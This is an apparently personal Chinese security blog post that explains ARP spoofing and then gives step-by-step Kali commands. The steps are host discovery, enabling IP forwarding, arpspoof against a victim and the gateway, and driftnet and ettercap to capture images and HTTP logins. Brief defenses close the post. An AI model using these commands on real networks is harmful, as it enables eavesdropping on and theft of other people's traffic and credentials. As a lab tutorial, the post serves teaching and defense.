HacKerQWQ的博客空间

arp欺骗与攻击

Word count: 371Reading time: 1 min
2021/06/18 Share

arp欺骗原理

每个主机都有IP和MAC地址对应的关系的缓存表，由于在局域网内主机的数据传输依靠的是MAC地址进行数据传输，并且不会验证是否向对方发送过ARP请求包，因此可以通过替换目标主机的缓存表来达到arp欺骗的目的

实现arp欺骗

  • 使用工具:arpspoof(包含在dsniff工具中)
  • 平台:kali

步骤

查看自己ip

1
ifconfig -a

20210615221034

查看局域网内ip

此处有多个命令，推荐三个常用的

1
2
3
arp-scan -l
fping -g C段(扫描存活主机，但是没有mac地址)
netdiscover -r 网段/24

这是fping -g的截图
20210615221429

ARP欺骗

  1. 开启IP转发
    1
    echo 1 >/proc/sys/net/ipv4/ip_forward
    开启ip转发则受害者可以上网，不开启则不行
  2. 进行arp攻击
    命令:arpspoof -i eth0 -t targetIP -r gateway(根据之前查看的信息填写)
    1
    arpspoof -i eth0 -t 192.168.16.128 -r 192.168.16.2
    攻击机kali

20210615222131
受害者主机
20210615222805
3. 截获受害机的浏览图片
命令:driftnet -i eth0,加-d选项可指定图片保存目录

此处利用不是很成功，只能让受害主机断网,不知道是不是路由器支持防御ARP攻击
20210615225955
4. 截获HTTP登录请求
ettercap -Tq -i eth0

ARP攻击防御

  1. 在主机绑定网关ip与MAC地址，命令:arp -s gateip gatemac
  2. 在网关绑定主机MAC与IP地址
  3. 使用ARP防火墙

Author：HacKerQWQ

原文链接：https://hackerqwq.github.io/2021/06/18/arp%E6%AC%BA%E9%AA%97%E4%B8%8E%E6%94%BB%E5%87%BB/

发表日期：June 18th 2021, 7:53:21 pm

更新日期：June 22nd 2021, 1:02:06 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. arp欺骗原理
  2. 2. 实现arp欺骗
    1. 2.1. 步骤
      1. 2.1.1. 查看自己ip
      2. 2.1.2. 查看局域网内ip
      3. 2.1.3. ARP欺骗
  3. 3. ARP攻击防御
Total : 163
2023
2022
2021
2020
ctf PHP反序列化 sql jwt 2021CISCN 文件上传 uncide欺骗 无列名注入 php反射类利用 2021红明谷 输入法取证 盲水印隐写 哈夫曼编码 流量分析 Android md5 shtml 2020CISCN png结构 CRC32 Crypto Java安全 intro 权限提升 Docker CVE Hash php_upload_progress_session hash长度拓展攻击 红蓝对抗 MySQL PHP代码审计 PHP 2021Nep 命令执行 PHP原生类 云函数 JAVA_WEB ThinkPHP 原型链污染 nodejs 源码泄露 SSTI 漏洞分析 渗透测试 代码审计 JAJA XML 漏洞 免杀 机器学习 XSS XXE 硬件安全 社工 编码漏洞 nginx常见文件位置 .htaccess利用 HTTP协议 内网渗透 横向移动 漏洞利用 metasploit 信息收集 CTF PHP伪协议 php pickle 逻辑漏洞 2019CISCN python 多线程 misc图像处理 Nginx LFI redis攻防 提权 C 代码执行 渗透 权限维持 bugs phar反序列化 变量覆盖漏洞 扫描软件 弱类型比较 Django rar伪加密 二维码 文件上传漏洞 文件包含 文件读取漏洞 无参数构造payload 神经网络 红队 SSRF url取反绕过 misc_zip create_function注入 零宽度字符